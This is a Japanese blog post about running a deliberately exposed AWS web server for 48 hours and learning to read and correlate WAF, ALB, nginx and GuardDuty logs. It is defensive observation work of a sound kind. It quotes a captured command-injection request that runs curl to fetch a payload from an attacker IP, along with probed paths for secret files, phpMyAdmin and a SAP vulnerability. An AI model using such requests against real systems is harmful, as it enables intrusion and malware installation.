はじめに
AWS 上にわざと狙われるだけの Web サーバー(ハニーポット)を48時間だけ置いて、どんなアクセスが来るのかを観測しました。
ただ、今回の一番の目的はAWS のログがどこに出て、どう流れて、どう読めばいいのかに慣れることです。筆者自身知識としてあるもののWAF や GuardDuty を「有効にしたけど中身はちゃんと見たことがない」と感じていたので実施しました。
以下まとめです。
- URL はどこにも公開していないのに開始から12分で最初のスキャンが来た。
- 48時間で WAF が受けたリクエストは480件、nginx まで届いたのは425件
- WAF が止めたのは「User-Agent」か「path」で分かる雑なスキャンだけ。phpMyAdmin を5分で128通り探したアクセスは素通りでした。
- GuardDuty の Finding は0件。構成上仕方ない部分がある。
- 費用はざっくり400〜500円くらい
また、今回のログの細かい分析は Claude に手伝ってもらっています。
条件と構成
| 項目 | 内容 |
|---|---|
| 期間 | 2026/11/1 13:00 〜 11/3 13:00(JST、48時間) |
| リージョン | 東京(ap-northeast-1) |
| サーバー | EC2 t4g.nano(Amazon Linux 2023)+ nginx |
| 公開ポート | ALB の 80 / 443 のみ。SSH(22番)は開けない |
T-Pot や Cowrie のような専用のハニーポットツールは使っていません。ツールを入れると分析の中心がツールの画面に移ってしまい、AWS のサービスを触る機会が減るからです。代わりに、/ だけ 200 を返し、それ以外はすべて 404 を返す nginx を置きました。動くコード(PHP や DB)が何もないので、乗っ取られる入り口がほぼありません。
この構成だと、1つのリクエストが次の3か所にログとして残ります。
- WAF のログ(CloudWatch Logs)
- ALB のアクセスログ(S3)
- nginx のアクセスログ(CloudWatch Agent 経由で CloudWatch Logs)
乗っ取られないための設計
正直ここが、今回の検証で一番大変な部分でした。
Cowrie のような専用のハニーポットツールは、偽物のシェルを見せて「攻撃者に本物の OS を触らせない」仕組みが最初から入っています。今回はそれを使わず、本物の nginx と本物の EC2 をそのまま公開しているので、乗っ取られないための守りは自分で用意する必要がありました。
中をぐちゃぐちゃにされても別に大丈夫ですが、それよりも踏み台にされて他人を攻撃する側に回るのが一番困るので、「入られにくくする」「すぐ気づく」「気づいたら止める」の3段で守ることを念頭にClaudeと壁打ちをしながら設計しました。
-
入られにくくする:
EC2 のセキュリティグループは、受信を「ALB のセキュリティグループからの 80番」だけに、ふつうは全開放のままにすることが多い送信(アウトバウンド)も、443番だけに絞っています。
仮に何かを実行されても、http://(80番)でマルウェアを落としたり、SSH などで他のサーバーを攻撃したりはできないだろうという想定です。 - すぐ気づく: GuardDuty の検知を EventBridge 経由で SNS に流し、メールで通知する仕組みを導入。
- 止める: GitHub から Actions を実行すると、EC2 の通信を全部遮断して停止する「緊急隔離」機能を用意しました。仕事中に通知が飛んできたときにも対応できるよう、スマホからでも操作できる仕組みを前提に作りました。

EC2 のセキュリティグループ(受信は ALB の SG からの 80番だけ、送信は 443番だけ)
WAF には AWS のマネージドルールを3つ入れています。
| 優先順位 | ルールグループ | 何を止めるか |
|---|---|---|
| 10 | AWSManagedRulesCommonRuleSet | XSS、不正なヘッダーなど Web 攻撃全般 |
| 20 | AWSManagedRulesKnownBadInputsRuleSet | Log4Shell や、狙われやすいパスなど既知の危険な入力 |
| 30 | AWSManagedRulesLinuxRuleSet |
/etc/passwd の読み取りなど Linux を狙うもの |
1つのリクエストを3か所で追いかけてみる
まずは攻撃者のアクセスではなく、自分で送った目印付きのリクエストを追いかけてみました。攻撃者のアクセスだと「どれとどれが同じ1件か」を確かめにくいので、User-Agent に trace-article-01 という目印を付けて、1回だけ curl を送って実際のログの挙動を確認しました。
curl.exe -i -A "trace-article-01" "http://<ALB_DNS>/"
nginx のログ
nginx のログは JSON 形式で出すように設定しています。CloudWatchLogsのLogs分析 で目印を検索します。
filter user_agent = "trace-article-01"
| fields @timestamp, client_ip, uri, status, amzn_trace_id
{"time":"2026-11-01T11:56:09+00:00","client_ip":"<MY_IP>","method":"GET","uri":"/","status":200,
"host":"<ALB_DNS>","user_agent":"trace-article-01",
"amzn_trace_id":"Root=1-6ae728d9-63214d69193761c645ea1bb7"}

CloudWatch Logs で nginx のログを検索
amzn_trace_id ですが、ALB はリクエストを転送するときに X-Amzn-Trace-Id というヘッダーを付けるようで、この ID が、3つのログをつないでいます。
WAF のログ
filter @message like /trace-article-01/
| fields @timestamp, action, terminatingRuleId, httpRequest.uri, httpRequest.requestId
| 項目 | 値 |
|---|---|
| action | ALLOW |
| terminatingRuleId | Default_Action |
| httpRequest.requestId | 1-6ae728d9-63214d69193761c645ea1bb7 |
WAF の requestId と nginx の Root= 以降が同じ値になりました。どのルールにも引っかからず、デフォルトのアクション(許可)で通したことも分かります。
ALB のログ
ALB のログだけは S3 に5分ごとの .log.gz ファイルとして置かれます。送信時刻(11:56 UTC)を含む ...T1200Z... のファイルをダウンロードして、ID で検索しました。
zcat *T1200Z*.log.gz | grep 6ae728d9
http 2026-11-01T11:56:09.782598Z app/honeypot-alb/... <MY_IP>:32127 10.100.1.225:80
0.014 0.002 0.000 200 200 124 234 "GET http://<ALB_DNS>:80/ HTTP/1.1" "trace-article-01"
... "Root=1-6ae728d9-63214d69193761c645ea1bb7" ... 2026-11-01T11:56:09.766000Z "waf,forward" ...
ここにも同じ Root=1-6ae728d9-... があり、3つのログが1件のリクエストでつながりました。ALB のログからは、ほかでは分からない情報も読み取れます。
-
"waf,forward": ALB が「WAF で検査 → ターゲットに転送」の順に処理した記録 -
200 200: ALB が返したステータスと、EC2 が返したステータス -
0.014 0.002 0.000: ALB 内部の処理時間、EC2 の応答時間、返すまでの時間(秒)
時刻で並べてみる
| 時刻(UTC) | どこ | 何が起きたか |
|---|---|---|
| 11:56:09.766 | ALB | リクエストを受け取る |
| 11:56:09.777 | WAF | ALLOW と判定 |
| 11:56:09.782 | ALB | nginx の 200 を返し終えてログに記録 |
| 11:56:13.958 | nginx(@timestamp) | CloudWatch Logs に届いた時刻 |
最後の nginx だけ4秒遅れているのは、nginx の @timestamp は、CloudWatch Agent がファイルを読んで送った時刻だからみたいです。nginx が実際に受けた時刻はログ本文の time に入っているので、CloudWatch で時刻を比べるときは、@timestamp が「いつ届いたか」なのか「いつ起きたか」なのかを意識する必要がありそうです。
3つのログの違い
| WAF | ALB | nginx | |
|---|---|---|---|
| 置き場所 | CloudWatch Logs | S3(5分ごとの gz) | CloudWatch Logs |
| 形式 | JSON | スペース区切り | JSON(自分で設定) |
| 届くまで | 数分 | 最大5分+ファイル化 | 数秒〜数十秒 |
| ここにしかない情報 | 国(country)、止めたルール |
EC2 が答えたか(target_status_code)、処理の順番 |
自分で選んだヘッダー(host、accept など) |
| WAF が BLOCK したもの | 残る | 残る(403) | 届かないので残らない |
nginx のログだけを見ていると、WAF が止めた攻撃は見えません。アプリ内のログだけ見てても攻撃には気づけないかもしれません。
公開12分で最初のスキャンが来た
13:07 に構築が終わり、最初の外部アクセスは 13:19 でした。
{"time":"2026-11-01T04:19:13+00:00","client_ip":"104.199.26.x","uri":"/","status":200,
"host":"<ALB_IP>","user_agent":"python-requests/2.34.2"}
ポイントは host が ALB の DNS 名ではなく IP アドレスになっていることです。相手はこのサーバーの名前を知らずに、AWS の IP アドレス範囲を端から叩いて、たまたま ALB のノードに当たっただけです。URL をどこにも公開していなくても、IP を持った瞬間にスキャンは来るということが分かります。
ちなみに本番前のリハーサルでは、公開して数分で /v1/models、/v1/completions、/v1/embeddings を探すアクセスが来ていました。OpenAI 互換の LLM API を認証なしで公開しているサーバー(Ollama など)を探して、タダで使おうとするスキャンです。同じ IP(164.52.24.x)が2日目の夜にも来ていたので、定期的に巡回しているようです。
48時間で何が来たか
ここから先のログの詳しい分析(IP やパスの集計、攻撃の種類の推測など)は Claude に任せています。筆者はクエリの実行とスクリーンショットの取得、結果の確認をしています。
件数
filter webaclId like /53428984/
| stats count(*) as requests by action
| 件数 | |
|---|---|
| WAF が受けたリクエスト | 480件 |
| うち ALLOW(nginx まで通した) | 428件 |
| うち BLOCK(WAF で止めた) | 52件 |
| nginx に届いたリクエスト | 425件 |
webaclId で絞っているのは、リハーサル中のログが同じロググループに混ざっているからです。作り直した本番の Web ACL の ID だけを数えています。
1日目は静かで、開始から8時間で45件(ALLOW 42 / BLOCK 3)でした。それが2日目の朝に一気に増えます。

2日目の朝: phpMyAdmin を5分で128通り
11/2 の 9:50〜9:55 の5分間に、1つの IP(124.158.184.x)から128件のリクエストが来ていました。この5分だけで全体の約3分の1です。突出した時間帯と IP は、次のクエリで特定できます。
filter webaclId like /53428984/
| stats count(*) as requests by bin(5m) as t, httpRequest.clientIp
| sort requests desc
| limit 10
中身は phpMyAdmin の設置場所探しでした。
/phpmyadmin/
/phpMyAdmin-5.1.1/
/db/phpMyAdmin-4/
/sql/phpmyadmin5/
/PMA/
...(128通り、1回ずつ)
どこかでログイン画面が見つかれば、次はパスワードの総当たりや既知の脆弱性を試す、という流れの下調べです。
そして、この128件はすべて WAF を ALLOW で通過していました。1件1件は「普通の URL への GET」なので、マネージドルールでは悪意を判定できないからです。
こういう「短時間に大量に叩く」タイプには、レートベースルール(例: 5分で100件を超えた IP をブロック)を入れるのが定石です。今回は入れていなかったので、「入れていれば止められた例」になりました。
この山は ALB のメトリクスにも出ていました。
- リクエスト数: 11/2 の朝に128の棒が1本立っている
- ターゲット 4XX: 同じ時刻に128。nginx が全部 404 を返したということ
- ELB 4XX: 1〜6件の点が2日間に散らばっている。これは WAF が BLOCK して ALB が 403 を返した分
同じ「4XX」でも、WAF で止めたものは ELB 4XX、通して nginx が断ったものはターゲット 4XX と、集計先が分かれます。メトリクスを見るときに知っておくと、どこで止まったかがすぐ分かります。なお 5XX は期間中ずっとゼロで、応答時間も最大 2.3ms でした。t4g.nano でも余裕です。
WAF は何を止めたか
BLOCK 52件を、止めたルールごとに数えると次のようになりました。
filter webaclId like /53428984/ and action = "BLOCK"
| parse @message /"terminatingRule":\{"ruleId":"(?<rule>[^"]+)"/
| stats count(*) as hits by rule
| sort hits desc
| ルール | ルールグループ | 件数 | 何を見て止めたか |
|---|---|---|---|
| UserAgent_BadBots_HEADER | CommonRuleSet | 25 | zgrab などスキャンツールの User-Agent |
| ExploitablePaths_URIPATH | KnownBadInputs | 19 |
/.env など狙われやすいパスそのもの |
| NoUserAgent_HEADER | CommonRuleSet | 7 | User-Agent ヘッダーがない |
| GenericRFI_BODY | CommonRuleSet | 1 | 本文に外部 URL を埋め込む試み |
ほとんどが「User-Agent」か「path」で分かるものです。逆に言えば、User-Agent をブラウザに偽装して普通の URL を叩けば、マネージドルールは通ってしまいます。phpMyAdmin 探しがまさにそれでした。
印象に残ったアクセス
マルウェアを落とさせようとしたもの(BLOCK)
GET /PBX.php?cmd=curl%20http://138.124.36.x/bxe HTTP/1.1
Host: <ALB_IP>
User-Agent: Mozilla/5.0 zgrab/0.x
User-Agent: Mozilla/5.0 zgrab/0.x
IP 電話(PBX)の管理画面にコマンドを渡して、攻撃者のサーバーからファイルをダウンロードさせようとしています。成功すればボットネットに組み込まれる典型的なパターンです。WAF が止めた理由は URL の中身ではなく、User-Agent の zgrab(UserAgent_BadBots_HEADER)でした。User-Agent が2行重複しているのも特徴です。
SAP NetWeaver の脆弱性探し(BLOCK)
/developmentserver/metadatauploader は、2025年に見つかった SAP NetWeaver の重大な脆弱性(CVE-2025-31324、認証なしでファイルをアップロードできる)に関係するパスです。1日目の20時台に別々の IP から1分差で来ていました。これも止めた理由は User-Agent の zgrab で、PBX.php と同じ「UA が2行重複」のクセがありました。IP も国も狙う製品も違いますが、同じツール・同じ設定から来ている可能性が高そうです。
ログイン画面の総当たり偵察(ALLOW)
216.180.246.x が十数秒で次々に送ってきたものです。
-
/+CSCOE+/logon.html(Cisco の VPN 装置) -
/cgi-bin/login.cgi(ルーターや NAS) -
/login.jsp、/manage/account/login、/admin/index.htmlなど
攻撃そのものではなく、「このサーバーは何の製品か」を調べる偵察(フィンガープリンティング)です。普通の URL なので WAF は通し、nginx が 404 を返しています。
同じセットを2時間半おきに巡回(ALLOW)
末尾だけ違う隣り合った2つの IP(65.49.20.x)が、/、/favicon.ico、/webui/、/geoserver/web/ という同じ組み合わせを、16:38 と 19:01 の2回送ってきていました。GeoServer は2024年に認証なしでコマンドを実行できる脆弱性が見つかった地図サーバーです。
秘密情報のファイル探し
/.env は8つの IP から来ていて、KnownBadInputs の ExploitablePaths_URIPATH で止まりました。ほかにも /.git/config、/vicidial/project_auth_entries.txt、/hudson(Jenkins)、/druid/index.html、/setup.cgi(Netgear ルーター)、/cgi-bin/luci(OpenWrt)などが単発で来ています。
zgrab は Censys などの調査会社も使っているツールです。User-Agent だけで悪意のあるアクセスだと決めつけることはできない点は注意が必要とのこと。
国別
国の情報は WAF のログにありました(nginx のログは IP だけ)。WAF のログで国ごとに数えると、48時間で 29か国から来ていました。
filter webaclId like /53428984/
| stats count(*) as requests by httpRequest.country
| sort requests desc
| 国 | 件数 |
|---|---|
| アメリカ(US) | 183 |
| インドネシア(ID) | 128 |
| フランス(FR) | 40 |
| オランダ(NL) | 20 |
| ドイツ(DE) | 17 |
| シンガポール(SG) | 14 |
| イギリス(GB) | 11 |
| 中国(CN) | 10 |
| 日本(JP) | 7 |
| その他20か国 | 50 |
2位のインドネシアの128件は、ちょうど phpMyAdmin 探しの128件と同じ数です。つまりインドネシアからのアクセスは、ほぼあの5分間の1つの IP だけでした。国別の件数は「どの国から攻撃が多いか」ではなく「どの国の誰か1人が大量に叩いたか」で簡単に変わるので、件数だけで国の傾向を語るのは危ういことが分かります。アメリカが多いのも、クラウド事業者や調査会社のスキャナーがアメリカの IP を使っていることが多いためだと考えられます。
GuardDuty は何も検知しなかった
48時間を通して、GuardDuty の Finding は0件でした。

これは GuardDuty がサボっていたわけではないようです。GuardDuty のスキャン検知(Recon:EC2/PortProbeUnprotectedPort など)は、EC2 のネットワークに直接届いた通信を見て判定するみたいで、今回の構成上仕方がない結果でした。今回は EC2 を ALB の裏に置いたので、EC2 に届くのは ALB からの通信だけです。攻撃はすべて ALB と WAF で受け止められていました。
EC2 の80番をインターネットに直接開ければ Finding が出た可能性はあります。ただ、そうすると WAF を通らない経路ができるので、今回は見送りました。「どのサービスが、どこを流れる通信を見ているのか」を理解しておかないと、0件の意味を読み違える、というのがここでの学びです。
Log分析 で詰まったところ
Logs Insights(日本語コンソールでは「ログのインサイト」や「ログ分析」)は、件数が増えてきたら一番使う画面です。何度か詰まったので残しておきます。
-
既定のクエリの後ろに書き足してしまう: 最初に入っている
fields ... | sort ... | limit 10000は消して、statsに置き換える - ロググループを複数選んで集計がずれる: nginx の access と error は形式が違う。1つずつ選ぶ
-
SOURCE行を手で書いてエラー:Value at 'logGroupNames' failed to satisfy constraintと怒られる。ロググループは画面の選択欄で選ぶ - 期間が「直近1時間」のまま: 比べたい集計は「絶対」で同じ開始時刻にそろえる。相対時間だと実行した時刻で範囲がずれ、件数が1件合わないことがあった
- 急にロググループが見えなくなる: 請求の画面等のグローバル画面から戻ったらリージョンがバージニア北部になっていた
WAF のコンソールで見られる Sampled requests は直近3時間分しか残りません。止めたリクエストのヘッダーまで見られる便利な画面ですが、後から見返せないので、観測中は3時間ごとにスクリーンショットを撮っていました。
いくらかかったか
見込みは 400〜500円(約 $3)です。東京リージョンの定価で1時間あたりに直すと、次のようになります。
| サービス | 1時間あたり | 割合 |
|---|---|---|
| ALB | 約 $0.024 | 4割強 |
| パブリック IPv4(ALB 2個+EC2 1個) | $0.015 | 3割弱 |
| WAF(Web ACL + ルール3つ、月 $8 を時間割り) | 約 $0.011 | 2割 |
| EC2(t4g.nano) | 約 $0.005 | 1割弱 |
| 合計 | 約 $0.056 |
一番かかったのは ALB で、意外と大きかったのがパブリック IPv4 です。ALB は自分で IP を取ったつもりがなくても、ノードごとにパブリック IPv4 が付くので、その分も課金されます。ALB の料金は「時間料金+LCU 料金」ですが、LCU は最大でも 0.00019 で、ほぼ時間料金だけでした。WAF のリクエスト料金も480件なのでほぼ0です。
裏を返すと、ALB を置いたままにすると、パブリック IPv4 と WAF も合わせて1日約200円かかり続けます。コンソールで画面を見て学ぶのは観測中に済ませて、終わったらすぐ消しました。
前回の「ペンテストツール」による集中攻撃との違い
前回、AI ペンテストツール ARTEX の攻撃をローカルの Juice Shop に当てて、防御側のログから見てみました。
あちらは「このサイトを落とす」と決めて来る攻撃でした。今回の48時間では、そういう特定のサイトを狙った攻撃は1件もありませんでした。検証期間が短かったのもありたまたま来なかった or 意図して狙わないとこういった攻撃は無い のどちらかかもしれません。
| 前回(ARTEX) | 今回(ハニーポット) | |
|---|---|---|
| 相手 | Juice Shop を狙い撃ち | IP を端から叩く無差別スキャン |
| 件数 | 6分35秒で634件 | 48時間で480件 |
| 中身 | 検索パラメーターに SQL インジェクション、ログイン API の突破 |
/.env や phpMyAdmin など、決まったパスの有無を見るだけ |
| 応答の使い方 | 返ってきた内容を見て次のリクエストを変える | 404 が返っても同じリストを送り続ける |
| ログでの見え方 | 500 や 401 が急に増える | 404 と WAF の 403 が少しずつ散らばる |
一番の違いは、応答を見て次の手を変えているかどうかですね。今回のスキャンは、phpMyAdmin を128通り探した IP でさえ、1件ずつ 404 を受け取っても手を変えずにリストを最後まで送っていました。
ログを見る側としては、エラー率が急に上がる、同じパラメーターに少しずつ違う値が来る、といった動きがあったら、それは「狙われている」サインとして別扱いで見るべきだと思いました。
まとめ
ログの流れについて分かったことは以下です。
- 1つのリクエストは WAF・ALB・nginx の3か所に残り、ALB が付ける Trace ID でつなげている
- ログごとに表示される情報が異なる。国は WAF、EC2 が答えたかは ALB、細かいヘッダーは nginx
- WAF で止めたものは nginx のログには残らない。メトリクスでも ELB 4XX とターゲット 4XX に分かれる
- CloudWatch Agent 経由のログは届いた時刻になる
- GuardDuty の0件は「安全だった」ではなく「見える位置に通信がなかった」
今回来た攻撃については、以下が学びでした。
- IP を持った瞬間にスキャンは来る。
- マネージドルールは User-Agent と path で分かるものには効くが、普通の URL を大量に叩く偵察は素通り。
- 来たのは無差別スキャンだけで、前回の ARTEX のような「応答を見て手を変える」攻撃はなかった
当初の目的であった学習という点については、WAF や GuardDuty がよく分からない状態から、どのログを開けば何が分かるのかは一通りつかめました。
次は、今回の環境を Terraform と GitHub Actions(OIDC 認証)で作って消した仕組みと、緊急隔離機能のリハーサルでに関する記事です。









